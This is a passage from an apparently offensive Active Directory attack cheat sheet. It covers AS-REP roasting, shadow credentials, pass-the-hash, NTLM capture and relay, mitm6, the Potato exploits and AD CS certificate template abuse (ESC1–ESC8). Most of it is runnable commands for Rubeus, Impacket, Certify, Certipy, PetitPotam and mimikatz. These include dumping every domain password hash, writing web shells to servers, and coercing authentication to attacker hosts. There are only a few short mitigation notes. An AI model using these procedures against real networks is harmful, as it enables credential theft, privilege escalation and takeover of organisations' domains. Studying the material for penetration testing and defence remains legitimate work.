- Have a very long password for your accounts with SPNs (> 32 characters)
- Make sure no users have SPNs

KRB_AS_REP Roasting

> If a domain user does not have Kerberos preauthentication enabled, an AS-REP can be successfully requested for the user, and a component of the structure can be cracked offline a la kerberoasting

Requirements:

- Accounts with the attribute **DONT_REQ_PREAUTH** (`PowerView > Get-DomainUser -PreauthNotRequired -Properties distinguishedname -Verbose`)

- Rubeus

```
C:\Rubeus>Rubeus.exe asreproast /user:TestOU3user /format:hashcat
/outfile:hashes.asreproast
[*] Action: AS-REP roasting
[*] Target User            : TestOU3user
[*] Target Domain          : testlab.local
[*] SamAccountName         : TestOU3user
[*] DistinguishedName      :
CN=TestOU3user,OU=TestOU3,OU=TestOU2,OU=TestOU1,DC=testlab,DC=local
[*] Using domain controller: testlab.local (192.168.52.100)
[*] Building AS-REQ (w/o preauth) for: 'testlab.local\TestOU3user'
[*] Connecting to 192.168.52.100:88
[*] Sent 169 bytes
[*] Received 1437 bytes
[+] AS-REQ w/o preauth successful!
[*] AS-REP hash:

$krb5asrep$TestOU3user@testlab.local:858B6F645D9F9B57210292E5711E0...(snip)...
```

- GetNPUsers from Impacket Suite

```
$ python GetNPUsers.py htb.local/svc-alfresco -no-pass
[*] Getting TGT for svc-alfresco
$krb5asrep$23$svc-
alfresco@HTB.LOCAL:c13528009a59be0a634bb9b8e84c88ee$cb8e87d02bd0ac7a[...]e776b4

# extract hashes
root@kali:impacket-examples$ python GetNPUsers.py jurassic.park/ -usersfile
usernames.txt -format hashcat -outputfile hashes.asreproast
root@kali:impacket-examples$ python GetNPUsers.py
jurassic.park/triceratops:Sh4rpH0rns -request -format hashcat -outputfile
hashes.asreproast
```

- CrackMapExec Module

```
$ crackmapexec ldap 10.0.2.11 -u 'username' -p 'password' --kdcHost 10.0.2.11 --
asreproast output.txt
LDAP        10.0.2.11       389    dc01
$krb5asrep$23$john.doe@LAB.LOCAL:5d1f750[...]2a6270d7$096fc87726c64e545acd4687fa
f780[...]13ea567d5
```

Using `hashcat` or `john` to crack the ticket.

```
# crack AS_REP messages with hashcat
root@kali:impacket-examples$ hashcat -m 18200 --force -a 0 hashes.asreproast
passwords_kerb.txt
root@windows:hashcat$ hashcat64.exe -m 18200 '<AS_REP-hash>' -a 0
c:\wordlists\rockyou.txt
```

```
# crack AS_REP messages with john
C:\Rubeus> john --format=krb5asrep --wordlist=passwords_kerb.txt hashes.asreproast
```

Mitigations:

- All accounts must have "Kerberos Pre-Authentication" enabled (Enabled by Default).

Shadow Credentials

> Add **Key Credentials** to the attribute `msDS-KeyCredentialLink` of the target user/computer object and then perform Kerberos authentication as that account using PKINIT to obtain a TGT for that user.

:warning: User objects can't edit their own `msDS-KeyCredentialLink` attribute while computer objects can. Computer objects can edit their own msDS-KeyCredentialLink attribute but can only add a KeyCredential if none already exists

Requirements:

- Domain Controller on (at least) Windows Server 2016
- PKINIT Kerberos authentication
- An account with the delegated rights to write to the `msDS-KeyCredentialLink` attribute of the target object

Exploitation:

- From Windows, use Whisker:

  ```
  # Lists all the entries of the msDS-KeyCredentialLink attribute of the target object.
  Whisker.exe list /target:computername$
  # Generates a public-private key pair and adds a new key credential to the target object as if the user enrolled to WHfB from a new device.
  Whisker.exe add /target:"TARGET_SAMNAME" /domain:"FQDN_DOMAIN" /dc:"DOMAIN_CONTROLLER" /path:"cert.pfx" /password:"pfx-password"
  Whisker.exe add /target:computername$ [/domain:constoso.local /dc:dc1.contoso.local /path:C:\path\to\file.pfx /password:P@ssword1]
  # Removes a key credential from the target object specified by a DeviceID GUID.
  Whisker.exe remove /target:computername$ /domain:constoso.local /dc:dc1.contoso.local /remove:2de4643a-2e0b-438f-a99d-5cb058b3254b
  ```

- From Linux, use pyWhisker:

  ```
  # Lists all the entries of the msDS-KeyCredentialLink attribute of the target object.
  python3 pywhisker.py -d "domain.local" -u "user1" -p "complexpassword" --target "user2" --action "list"
  # Generates a public-private key pair and adds a new key credential to the target object as if the user enrolled to WHfB from a new device.
  pywhisker.py -d "FQDN_DOMAIN" -u "user1" -p "CERTIFICATE_PASSWORD" --target "TARGET_SAMNAME" --action "list"
  python3 pywhisker.py -d "domain.local" -u "user1" -p "complexpassword" --target "user2" --action "add" --filename "test1"
  # Removes a key credential from the target object specified by a DeviceID GUID.
  python3 pywhisker.py -d "domain.local" -u "user1" -p "complexpassword" --target "user2" --action "remove" --device-id "a8ce856e-9b58-61f9-8fd3-b079689eb46e"
  ```

Scenario:

- Scenario: Shadow Credential relaying
    - Trigger an NTLM authentication from `DC01` (PetitPotam)
    - Relay it to `DC02` (ntlmrelayx)
    - Edit `DC01`'s attribute to create a Kerberos PKINIT pre-authentication backdoor (pywhisker)
    - Alternatively : `ntlmrelayx -t ldap://dc02 --shadow-credentials --shadow-target 'dc01$'`
- Scenario: Workstation Takeover with RBCD

```
# Only for C2: Add Reverse Port Forward from 8081 to Team Server 81

# Set up ntlmrelayx to relay authentication from target workstation to DC
proxychains python3 ntlmrelayx.py -t ldaps://dc1.ez.lab --shadow-credentials --
shadow-target ws2\$ --http-port 81

# Execute printer bug to trigger authentication from target workstation
proxychains python3 printerbug.py ez.lab/matt:Password1\!@ws2.ez.lab
ws1@8081/file

# Get a TGT using the newly acquired certificate via PKINIT
proxychains python3 gettgtpkinit.py ez.lab/ws2\$ ws2.ccache -cert-pfx
/opt/impacket/examples/T12uyM5x.pfx -pfx-pass 5j6fNfnsU7BkTWQOJhpR

# Get a TGS for the target account
proxychains python3 gets4uticket.py
kerberos+ccache://ez.lab\\ws2\$:ws2.ccache@dc1.ez.lab cifs/ws2.ez.lab@ez.lab
administrator@ez.lab administrator_tgs.ccache -v

# Utilize the TGS for future activity
export KRB5CCNAME=/opt/pkinittools/administrator_ws2.ccache
proxychains python3 wmiexec.py -k -no-pass ez.lab/administrator@ws2.ez.lab
```

Pass-the-Hash

The types of hashes you can use with Pass-The-Hash are NT or NTLM hashes. Since Windows Vista, attackers have been unable to pass-the-hash to local admin accounts that weren't the built-in RID 500.

- Metasploit

```
use exploit/windows/smb/psexec
set RHOST 10.2.0.3
set SMBUser jarrieta
set SMBPass nastyCutt3r
# NOTE1: The password can be replaced by a hash to execute a `pass the hash`
attack.
# NOTE2: Require the full NTLM hash, you may need to add the "blank" LM
(aad3b435b51404eeaad3b435b51404ee)
set PAYLOAD windows/meterpreter/bind_tcp
run
shell
```

- CrackMapExec

```
cme smb 10.2.0.2/24 -u jarrieta -H
'aad3b435b51404eeaad3b435b51404ee:489a04c09a5debbc9b975356693e179d' -x "whoami"
```

- Impacket suite

```
proxychains python ./psexec.py jarrieta@10.2.0.2 -hashes
:489a04c09a5debbc9b975356693e179d
```

- Windows RDP and mimikatz

```
sekurlsa::pth /user:Administrator /domain:contoso.local
/ntlm:b73fdfe10e87b4ca5c0d957f81de6863
sekurlsa::pth /user:<user name> /domain:<domain name> /ntlm:<the users ntlm
hash> /run:"mstsc.exe /restrictedadmin"
```

You can extract the local **SAM database** to find the local administrator hash :

```
C:\> reg.exe save hklm\sam c:\temp\sam.save
C:\> reg.exe save hklm\security c:\temp\security.save
C:\> reg.exe save hklm\system c:\temp\system.save
$ secretsdump.py -sam sam.save -security security.save -system system.save LOCAL
```

OverPass-the-Hash (pass the key)

In this technique, instead of passing the hash directly, we use the NTLM hash of an account to request a valid Kerberost ticket (TGT).

Using impacket

```
root@kali:~$ python ./getTGT.py -hashes ":1a59bd44fe5bec39c44c8cd3524dee"
lab.ropnop.com
root@kali:~$ export KRB5CCNAME="/root/impacket-examples/velociraptor.ccache"
root@kali:~$ python3 psexec.py "jurassic.park/velociraptor@labwws02.jurassic.park" -k
-no-pass

# also with the AES Key if you have it
root@kali:~$ ./getTGT.py -aesKey xxxxxxxxxxxxxxkeyaesxxxxxxxxxxxxxxxx lab.ropnop.com

root@kali:~$ ktutil -k ~/mykeys add -p tgwynn@LAB.ROPNOP.COM -e arcfour-hma-md5 -w
1a59bd44fe5bec39c44c8cd3524dee --hex -V 5
root@kali:~$ kinit -t ~/mykers tgwynn@LAB.ROPNOP.COM
root@kali:~$ klist
```

Using Rubeus

```
# Request a TGT as the target user and pass it into the current session
# NOTE: Make sure to clear tickets in the current session (with 'klist purge') to
ensure you don't have multiple active TGTs
.\Rubeus.exe asktgt /user:Administrator /rc4:[NTLMHASH] /ptt

# More stealthy variant, but requires the AES256 hash
.\Rubeus.exe asktgt /user:Administrator /aes256:[AES256HASH] /opsec /ptt

# Pass the ticket to a sacrificial hidden process, allowing you to e.g. steal the
token from this process (requires elevation)
.\Rubeus.exe asktgt /user:Administrator /rc4:[NTLMHASH]
/createnetonly:C:\Windows\System32\cmd.exe
```

UnPAC The Hash

- Windows

  ```
  # request a ticket using a certificate and use /getcredentials to retrieve the
  NT hash in the PAC.
  C:/> Rubeus.exe asktgt /getcredentials /user:"TARGET_SAMNAME"
  /certificate:"BASE64_CERTIFICATE" /password:"CERTIFICATE_PASSWORD"
  /domain:"FQDN_DOMAIN" /dc:"DOMAIN_CONTROLLER" /show
  ```

- Linux

  ```
  # obtain a TGT by validating a PKINIT pre-authentication
  $ gettgtpkinit.py -cert-pfx "PATH_TO_CERTIFICATE" -pfx-pass
  "CERTIFICATE_PASSWORD" "FQDN_DOMAIN/TARGET_SAMNAME" "TGT_CCACHE_FILE"

  # use the session key to recover the NT hash
  $ export KRB5CCNAME="TGT_CCACHE_FILE" getnthash.py -key 'AS-REP encryption key'
  'FQDN_DOMAIN'/'TARGET_SAMNAME'
  ```

Capturing and cracking Net-NTLMv1/NTLMv1 hashes

> Net-NTLM (NTLMv1) hashes are used for network authentication (they are derived from a challenge/response algorithm and are based on the user's NT hash.

:information_source: : Coerce a callback using PetitPotam or SpoolSample on an affected machine and downgrade the authentication to **NetNTLMv1 Challenge/Response authentication**. This uses the outdated encryption method DES to protect the NT/LM Hashes.

Requirements:

- LmCompatibilityLevel = 0x1: Send LM & NTLM (`reg query HKLM\SYSTEM\CurrentControlSet\Control\Lsa /v lmcompatibilitylevel`)

Exploitation:

- Capturing using Responder: Edit the `/etc/responder/Responder.conf` file to include the magical **1122334455667788** challenge

```
HTTPS = On
DNS = On
LDAP = On
...
; Custom challenge.
; Use "Random" for generating a random challenge for each requests (Default)
Challenge = 1122334455667788
```

- Fire Responder: `responder -I eth0 --lm`, if `--disable-ess` is set, extended session security will be disabled for NTLMv1 authentication
- Force a callback:

```
PetitPotam.exe Responder-IP DC-IP # Patched around August 2021
PetitPotam.py -u Username -p Password -d Domain -dc-ip DC-IP Responder-IP DC-IP
# Not patched for authenticated users
```

- If you got some `NTLMv1 hashes`, you need to format them to submit them on crack.sh

```
username::hostname:response:response:challenge -> NTHASH:response
NTHASH:F35A3FE17DCB31F9BE8A8004B3F310C150AFA36195554972
```

- Or crack them with Hashcat / John The Ripper

```
john --format=netntlm hash.txt
hashcat -m 5500 -a 3 hash.txt
```

- Now you can DCSync using the Pass-The-Hash with the DC machine account

:warning: NTLMv1 with SSP(Security Support Provider) changes the server challenge and is not quite ideal for the attack, but it can be used.

Mitigations:

- Set the Lan Manager authentication level to `Send NTLMv2 responses only. Refuse LM & NTLM`

Capturing and cracking Net-NTLMv2/NTLMv2 hashes

If any user in the network tries to access a machine and mistype the IP or the name, Responder will answer for it and ask for the NTLMv2 hash to access the resource. Responder will poison `LLMNR`, `MDNS` and `NETBIOS` requests on the network.

```
# https://github.com/lgandx/Responder
$ sudo ./Responder.py -I eth0 -wfrd -P -v

# https://github.com/Kevin-Robertson/InveighZero
PS > .\inveighzero.exe -FileOutput Y -NBNS Y -mDNS Y -Proxy Y -MachineAccounts Y -
DHCPv6 Y -LLMNRv6 Y [-Elevated N]

#
https://github.com/EmpireProject/Empire/blob/master/data/module_source/collection/Inv
```

```
oke-Inveigh.ps1
PS > Invoke-Inveigh [-IP '10.10.10.10'] -ConsoleOutput Y -FileOutput Y -NBNS Y –mDNS
Y –Proxy Y -MachineAccounts Y
```

Crack the hashes with Hashcat / John The Ripper

```
john --format=netntlmv2 hash.txt
hashcat -m 5600 -a 3 hash.txt
```

Man-in-the-Middle attacks & relaying

NTLMv1 and NTLMv2 can be relayed to connect to another machine.

Hash	Hashcat	Attack method
LM	`3000`	crack/pass the hash
NTLM/NTHash	`1000`	crack/pass the hash
NTLMv1/Net-NTLMv1	`5500`	crack/relay attack
NTLMv2/Net-NTLMv2	`5600`	crack/relay attack

Crack the hash with `hashcat`.

```
hashcat -m 5600 -a 0 hash.txt crackstation.txt
```

MS08-068 NTLM reflection

NTLM reflection vulnerability in the SMB protocolOnly targeting Windows 2000 to Windows Server 2008.

> This vulnerability allows an attacker to redirect an incoming SMB connection back to the machine it came from and then access the victim machine using the victim’s own credentials.

- https://github.com/SecWiki/windows-kernel-exploits/tree/master/MS08-068

```
msf > use exploit/windows/smb/smb_relay
msf exploit(smb_relay) > show targets
```

SMB Signing Disabled and IPv4

If a machine has `SMB signing`:`disabled`, it is possible to use Responder with Multirelay.py script to perform an `NTLMv2 hashes relay` and get a shell access on the machine. Also called **LLMNR/NBNS Poisoning**

1. Open the Responder.conf file and set the value of `SMB` and `HTTP` to `Off`.

   ```
   [Responder Core]
   ; Servers to start
   ...
   ```

```
SMB = Off     # Turn this off
HTTP = Off    # Turn this off
```

2. Run `python RunFinger.py -i IP_Range` to detect machine with `SMB signing`:`disabled`.
3. Run `python Responder.py -I <interface_card>`
4. Use a relay tool such as `ntlmrelayx` or `MultiRelay`
   - `impacket-ntlmrelayx -tf targets.txt` to dump the SAM database of the targets in the list.
   - `python MultiRelay.py -t <target_machine_IP> -u ALL`
5. ntlmrelayx can also act as a SOCK proxy with every compromised sessions.

```
$ impacket-ntlmrelayx -tf /tmp/targets.txt -socks -smb2support
[*] Servers started, waiting for connections
Type help for list of commands
ntlmrelayx> socks
Protocol  Target          Username                  Port
--------  --------------  ------------------------  ----
MSSQL     192.168.48.230  VULNERABLE/ADMINISTRATOR  1433
SMB       192.168.48.230  CONTOSO/NORMALUSER1       445
MSSQL     192.168.48.230  CONTOSO/NORMALUSER1       1433

# You might need to select a target with "-t"
impacket-ntlmrelayx -t mssql://10.10.10.10 -socks -smb2support
impacket-ntlmrelayx -t smb://10.10.10.10 -socks -smb2support

# the socks proxy can then be used with your Impacket tools or CrackMapExec
$ proxychains impacket-smbclient //192.168.48.230/Users -U contoso/normaluser1
$ proxychains impacket-mssqlclient DOMAIN/USER@10.10.10.10 -windows-auth
$ proxychains crackmapexec mssql 10.10.10.10 -u user -p '' -d DOMAIN -q "SELECT
1"
```

Mitigations:

- Disable LLMNR via group policy

```
Open gpedit.msc and navigate to Computer Configuration > Administrative
Templates > Network > DNS Client > Turn off multicast name resolution and set to
Enabled
```

- Disable NBT-NS

```
This can be achieved by navigating through the GUI to Network card > Properties
> IPv4 > Advanced > WINS and then under "NetBIOS setting" select Disable NetBIOS
over TCP/IP
```

SMB Signing Disabled and IPv6

Since MS16-077 the location of the WPAD file is no longer requested via broadcast protocols, but only via DNS.

```
crackmapexec smb $hosts --gen-relay-list relay.txt

# DNS takeover via IPv6, mitm6 will request an IPv6 address via DHCPv6
# -d is the domain name that we filter our request on - the attacked domain
# -i is the interface we have mitm6 listen on for events
mitm6 -i eth0 -d $domain

# spoofing WPAD and relaying NTLM credentials
impacket-ntlmrelayx -6 -wh $attacker_ip -of loot -tf relay.txt
impacket-ntlmrelayx -6 -wh $attacker_ip -l /tmp -socks -debug

# -ip is the interface you want the relay to run on
# -wh is for WPAD host, specifying your wpad file to serve
# -t is the target where you want to relay to.
impacket-ntlmrelayx -ip 10.10.10.1 -wh $attacker_ip -t ldaps://10.10.10.2
```

Drop the MIC

> The CVE-2019-1040 vulnerability makes it possible to modify the NTLM authentication packets without invalidating the authentication, and thus enabling an attacker to remove the flags which would prevent relaying from SMB to LDAP

Check vulnerability with cve-2019-1040-scanner

```
python2 scanMIC.py 'DOMAIN/USERNAME:PASSWORD@TARGET'
[*] CVE-2019-1040 scanner by @_dirkjan / Fox-IT - Based on impacket by SecureAuth
[*] Target TARGET is not vulnerable to CVE-2019-1040 (authentication was rejected)
```

- Using any AD account, connect over SMB to a victim Exchange server, and trigger the SpoolService bug. The attacker server will connect back to you over SMB, which can be relayed with a modified version of ntlmrelayx to LDAP. Using the relayed LDAP authentication, grant DCSync privileges to the attacker account. The attacker account can now use DCSync to dump all password hashes in AD

  ```
  TERM1> python printerbug.py
  testsegment.local/username@s2012exc.testsegment.local <attacker ip/hostname>
  TERM2> ntlmrelayx.py --remove-mic --escalate-user ntu -t
  ldap://s2016dc.testsegment.local -smb2support
  TERM1> secretsdump.py testsegment/ntu@s2016dc.testsegment.local -just-dc
  ```

- Using any AD account, connect over SMB to the victim server, and trigger the SpoolService bug. The attacker server will connect back to you over SMB, which can be relayed with a modified version of ntlmrelayx to LDAP. Using the relayed LDAP authentication, grant Resource Based Constrained Delegation privileges for the victim server to a computer account under the control of the attacker. The attacker can now authenticate as any user on the victim server.

  ```
  # create a new machine account
  TERM1> ntlmrelayx.py -t ldaps://rlt-dc.relaytest.local --remove-mic --delegate-
  access -smb2support
  TERM2> python printerbug.py relaytest.local/username@second-dc-server 10.0.2.6
  ```

```
TERM1> getST.py -spn host/second-dc-server.local
'relaytest.local/MACHINE$:PASSWORD' -impersonate DOMAIN_ADMIN_USER_NAME

# connect using the ticket
export KRB5CCNAME=DOMAIN_ADMIN_USER_NAME.ccache
secretsdump.py -k -no-pass second-dc-server.local -just-dc
```

Ghost Potato - CVE-2019-1384

Requirements:

- User must be a member of the local Administrators group
- User must be a member of the Backup Operators group
- Token must be elevated

Using a modified version of ntlmrelayx : https://shenaniganslabs.io/files/impacket-ghostpotato.zip

```
ntlmrelayx -smb2support --no-smb-server --gpotato-startup rat.exe
```

RemotePotato0 DCOM DCE RPC relay

> It abuses the DCOM activation service and trigger an NTLM authentication of the user currently logged on in the target machine

Requirements:

- a shell in session 0 (e.g. WinRm shell or SSH shell)
- a privileged user is logged on in the session 1 (e.g. a Domain Admin user)

```
# https://github.com/antonioCoco/RemotePotato0/
Terminal> sudo socat TCP-LISTEN:135,fork,reuseaddr TCP:192.168.83.131:9998 & # Can be
omitted for Windows Server <= 2016
Terminal> sudo ntlmrelayx.py -t ldap://192.168.83.135 --no-wcf-server --escalate-user
winrm_user_1
Session0> RemotePotato0.exe -r 192.168.83.130 -p 9998 -s 2
Terminal> psexec.py 'LAB/winrm_user_1:Password123!@192.168.83.135'
```

DNS Poisonning - Relay delegation with mitm6

Requirements:

- IPv6 enabled (Windows prefers IPV6 over IPv4)
- LDAP over TLS (LDAPS)

> ntlmrelayx relays the captured credentials to LDAP on the domain controller, uses that to create a new machine account, print the account's name and password and modifies the delegation rights of it.

```
git clone https://github.com/fox-it/mitm6.git
cd /opt/tools/mitm6
pip install .
```

```
mitm6 -hw ws02 -d lab.local --ignore-nofqnd
# -d: the domain name that we filter our request on (the attacked domain)
# -i: the interface we have mitm6 listen on for events
# -hw: host whitelist

ntlmrelayx.py -ip 10.10.10.10 -t ldaps://dc01.lab.local -wh attacker-wpad
ntlmrelayx.py -ip 10.10.10.10 -t ldaps://dc01.lab.local -wh attacker-wpad --add-
computer
# -ip: the interface you want the relay to run on
# -wh: WPAD host, specifying your wpad file to serve
# -t: the target where you want to relay to

# now granting delegation rights and then do a RBCD
ntlmrelayx.py -t ldaps://dc01.lab.local --delegate-access --no-smb-server -wh
attacker-wpad
getST.py -spn cifs/target.lab.local lab.local/GENERATED\$ -impersonate Administrator
export KRB5CCNAME=administrator.ccache
secretsdump.py -k -no-pass target.lab.local
```

Relaying with WebDav Trick

> Example of exploitation where you can coerce machine accounts to authenticate to a host and combine it with Resource Based Constrained Delegation to gain elevated access. It allows attackers to elicit authentications made over HTTP instead of SMB

Requirement:

- WebClient service

Exploitation:

- Disable HTTP in Responder: `sudo vi /usr/share/responder/Responder.conf`
- Generate a Windows machine name: `sudo responder -I eth0`, e.g: WIN-UBNW4FI3AP0
- Prepare for RBCD against the DC: `python3 ntlmrelayx.py -t ldaps://dc --delegate-access -smb2support`
- Discover WebDAV services

```
webclientservicescanner 'domain.local'/'user':'password'@'machine'
crackmapexec smb 'TARGETS' -d 'domain' -u 'user' -p 'password' -M webdav
GetWebDAVStatus.exe 'machine'
```

- Trigger the authentication to relay to our nltmrelayx: `PetitPotam.exe WIN-UBNW4FI3AP0@80/test.txt 10.0.0.4`, the listener host must be specified with the FQDN or full netbios name like `logger.domain.local@80/test.txt`. Specifying the IP results in anonymous auth instead of System.

```
# PrinterBug
dementor.py -d "DOMAIN" -u "USER" -p "PASSWORD"
"ATTACKER_NETBIOS_NAME@PORT/randomfile.txt" "ATTACKER_IP"
SpoolSample.exe "ATTACKER_IP" "ATTACKER_NETBIOS_NAME@PORT/randomfile.txt"

# PetitPotam
Petitpotam.py "ATTACKER_NETBIOS_NAME@PORT/randomfile.txt" "ATTACKER_IP"
Petitpotam.py -d "DOMAIN" -u "USER" -p "PASSWORD"
```

```
"ATTACKER_NETBIOS_NAME@PORT/randomfile.txt" "ATTACKER_IP"
PetitPotam.exe "ATTACKER_NETBIOS_NAME@PORT/randomfile.txt" "ATTACKER_IP"
```

- Use the created account to ask for a service ticket:

```
.\Rubeus.exe hash /domain:purple.lab /user:WVLFLLKZ$ /password:'iUAL)l<i$;UzD7W'
.\Rubeus.exe s4u /user:WVLFLLKZ$
/aes256:E0B3D87B512C218D38FAFDBD8A2EC55C83044FD24B6D740140C329F248992D8F
/impersonateuser:Administrator /msdsspn:host/pc1.purple.lab /altservice:cifs
/nowrap /ptt
ls \\PC1.purple.lab\c$
# IP of PC1: 10.0.0.4
```

Active Directory Certificate Services

- Find ADCS Server : `crackmapexec ldap domain.lab -u username -p password -M adcs`
- Enumerate AD Enterprise CAs with certutil: `certutil.exe -config - -ping`

ESC1 - Misconfigured Certificate Templates

> Domain Users can enroll in the **VulnTemplate** template, which can be used for client authentication and has **ENROLLEE_SUPPLIES_SUBJECT** set. This allows anyone to enroll in this template and specify an arbitrary Subject Alternative Name (i.e. as a DA). Allows additional identities to be bound to a certificate beyond the Subject.

Requirements:

- Template that allows for AD authentication
- **ENROLLEE_SUPPLIES_SUBJECT** flag
- [PKINIT] Client Authentication, Smart Card Logon, Any Purpose, or No EKU (Extended/Enhanced Key Usage)

Exploitation:

- Use Certify.exe to see if there are any vulnerable templates

```
Certify.exe find /vulnerable
Certify.exe find /vulnerable /currentuser
or
PS> Get-ADObject -LDAPFilter '(&(objectclass=pkicertificatetemplate)(!(mspki-
enrollment-flag:1.2.840.113556.1.4.804:=2))(|(mspki-ra-signature=0)(!(mspki-ra-
signature=*)))(|(pkiextendedkeyusage=1.3.6.1.4.1.311.20.2.2)
(pkiextendedkeyusage=1.3.6.1.5.5.7.3.2) (pkiextendedkeyusage=1.3.6.1.5.2.3.4))
(mspki-certificate-name-flag:1.2.840.113556.1.4.804:=1))' -SearchBase
'CN=Configuration,DC=lab,DC=local'
```

- Use Certify, Certi or Certipy to request a Certificate and add an alternative name (user to impersonate)

```
# request certificates for the machine account by executing Certify with the
"/machine" argument from an elevated command prompt.
Certify.exe request /ca:dc.domain.local\domain-DC-CA /template:VulnTemplate
/altname:domadmin
certi.py req 'contoso.local/Anakin@dc01.contoso.local' contoso-DC01-CA -k -n --
```

```
alt-name han --template UserSAN
certipy req 'corp.local/john:Passw0rd!@ca.corp.local' -ca 'corp-CA' -template
'ESC1' -alt 'administrator@corp.local'
```

- Use OpenSSL and convert the certificate, do not enter a password

```
openssl pkcs12 -in cert.pem -keyex -CSP "Microsoft Enhanced Cryptographic
Provider v1.0" -export -out cert.pfx
```

- Move the cert.pfx to the target machine filesystem and request a TGT for the altname user using Rubeus

```
Rubeus.exe asktgt /user:domadmin /certificate:C:\Temp\cert.pfx
```

WARNING: These certificates will still be usable even if the user or computer resets their password!

NOTE: Look for **EDITF_ATTRIBUTESUBJECTALTNAME2**, **CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT**, **ManageCA** flags, and NTLM Relay to AD CS HTTP Endpoints.

ESC2 - Misconfigured Certificate Templates

Requirements:

- Allows requesters to specify a Subject Alternative Name (SAN) in the CSR as well as allows Any Purpose EKU (2.5.29.37.0)

Exploitation:

- Find template

```
PS > Get-ADObject -LDAPFilter '(&(objectclass=pkicertificatetemplate)(!(mspki-
enrollment-flag:1.2.840.113556.1.4.804:=2))(|(mspki-ra-signature=0)(!(mspki-ra-
signature=*)))(|(pkiextendedkeyusage=2.5.29.37.0)(!(pkiextendedkeyusage=*))))' -
SearchBase 'CN=Configuration,DC=megacorp,DC=local'
```

- Request a certificate specifying the `/altname` as a domain admin like in ESC1.

ESC3 - Misconfigured Enrollment Agent Templates

> ESC3 is when a certificate template specifies the Certificate Request Agent EKU (Enrollment Agent). This EKU can be used to request certificates on behalf of other users

- Request a certificate based on the vulnerable certificate template ESC3.

```
$ certipy req 'corp.local/john:Passw0rd!@ca.corp.local' -ca 'corp-CA' -template
'ESC3'
[*] Saved certificate and private key to 'john.pfx'
```

- Use the Certificate Request Agent certificate (-pfx) to request a certificate on behalf of other another user

```
$ certipy req 'corp.local/john:Passw0rd!@ca.corp.local' -ca 'corp-CA' -template
'User' -on-behalf-of 'corp\administrator' -pfx 'john.pfx'
```

ESC4 - Access Control Vulnerabilities

> Enabling the `mspki-certificate-name-flag` flag for a template that allows for domain authentication, allow attackers to "push a misconfiguration to a template leading to ESC1 vulnerability

- Search for `WriteProperty` with value `00000000-0000-0000-0000-000000000000` using modifyCertTemplate

```
python3 modifyCertTemplate.py domain.local/user -k -no-pass -template user -dc-
ip 10.10.10.10 -get-acl
```

- Add the `ENROLLEE_SUPPLIES_SUBJECT` (ESS) flag to perform ESC1

```
python3 modifyCertTemplate.py domain.local/user -k -no-pass -template user -dc-
ip 10.10.10.10 -add enrollee_supplies_subject -property mspki-Certificate-Name-
Flag

# Add/remove ENROLLEE_SUPPLIES_SUBJECT flag from the WebServer template.
C:\>StandIn.exe --adcs --filter WebServer --ess --add
```

- Perform ESC1 and then restore the value

```
python3 modifyCertTemplate.py domain.local/user -k -no-pass -template user -dc-
ip 10.10.10.10 -value 0 -property mspki-Certificate-Name-Flag
```

Using Certipy

```
# overwrite the configuration to make it vulnerable to ESC1
certipy template 'corp.local/johnpc$@ca.corp.local' -hashes
:fc525c9683e8fe067095ba2ddc971889 -template 'ESC4' -save-old
# request a certificate based on the ESC4 template, just like ESC1.
certipy req 'corp.local/john:Passw0rd!@ca.corp.local' -ca 'corp-CA' -template 'ESC4'
-alt 'administrator@corp.local'
# restore the old configuration
certipy template 'corp.local/johnpc$@ca.corp.local' -hashes
:fc525c9683e8fe067095ba2ddc971889 -template 'ESC4' -configuration ESC4.json
```

ESC6 - EDITF_ATTRIBUTESUBJECTALTNAME2

> If this flag is set on the CA, any request (including when the subject is built from Active Directory) can have user defined values in the subject alternative name.

Exploitation:

- Use Certify.exe to check for **UserSpecifiedSAN** flag state which refers to the `EDITF_ATTRIBUTESUBJECTALTNAME2` flag.

```
Certify.exe cas
```

- Request a certificate for a template and add an altname, even though the default `User` template doesn't normally allow to specify alternative names

```
.\Certify.exe request /ca:dc.domain.local\domain-DC-CA /template:User
/altname:DomAdmin
```

Mitigation:

- Remove the flag : `certutil.exe -config "CA01.domain.local\CA01" -setreg "policy\EditFlags" -EDITF_ATTRIBUTESUBJECTALTNAME2`

ESC7 - Vulnerable Certificate Authority Access Control

Exploitation:

- Detect CAs that allow low privileged users the `ManageCA` or `Manage Certificates` permissions

```
Certify.exe find /vulnerable
```

- Change the CA settings to enable the SAN extension for all the templates under the vulnerable CA (ESC6)

```
Certify.exe setconfig /enablesan /restart
```

- Request the certificate with the desired SAN.

```
Certify.exe request /template:User /altname:super.adm
```

- Grant approval if required or disable the approval requirement

```
# Grant
Certify.exe issue /id:[REQUEST ID]
# Disable
Certify.exe setconfig /removeapproval /restart
```

Alternative exploitation from **ManageCA** to **RCE** on ADCS server:

```
# Get the current CDP list. Useful to find remote writable shares:
Certify.exe writefile /ca:SERVER\ca-name /readonly
```

```
# Write an aspx shell to a local web directory:
Certify.exe writefile /ca:SERVER\ca-name /path:C:\Windows\SystemData\CES\CA-
Name\shell.aspx /input:C:\Local\Path\shell.aspx

# Write the default asp shell to a local web directory:
Certify.exe writefile /ca:SERVER\ca-name /path:c:\inetpub\wwwroot\shell.asp

# Write a php shell to a remote web directory:
Certify.exe writefile /ca:SERVER\ca-name /path:\\remote.server\share\shell.php
/input:C:\Local\path\shell.php
```

ESC8 - AD CS Relay Attack

> An attacker can trigger a Domain Controller using PetitPotam to NTLM relay credentials to a host of choice. The Domain Controller's NTLM Credentials can then be relayed to the Active Directory Certificate Services (AD CS) Web Enrollment pages, and a DC certificate can be enrolled. This certificate can then be used to request a TGT (Ticket Granting Ticket) and compromise the entire domain through Pass-The-Ticket.

Require Impacket PR #1101

- Version 1: NTLM Relay + Rubeus + PetitPotam

```
impacket> python3 ntlmrelayx.py -t http://<ca-server>/certsrv/certfnsh.asp -
smb2support --adcs
impacket> python3 ./examples/ntlmrelayx.py -t
http://10.10.10.10/certsrv/certfnsh.asp -smb2support --adcs --template
VulnTemplate
# For a member server or workstation, the template would be "Computer".
# Other templates: workstation, DomainController, Machine,
KerberosAuthentication

# Coerce the authentication via MS-ESFRPC EfsRpcOpenFileRaw function with
petitpotam
# You can also use any other way to coerce the authentication like PrintSpooler
via MS-RPRN
git clone https://github.com/topotam/PetitPotam
python3 petitpotam.py -d $DOMAIN -u $USER -p $PASSWORD $ATTACKER_IP $TARGET_IP
python3 petitpotam.py -d '' -u '' -p '' $ATTACKER_IP $TARGET_IP
python3 dementor.py <listener> <target> -u <username> -p <password> -d <domain>
python3 dementor.py 10.10.10.250 10.10.10.10 -u user1 -p Password1 -d lab.local

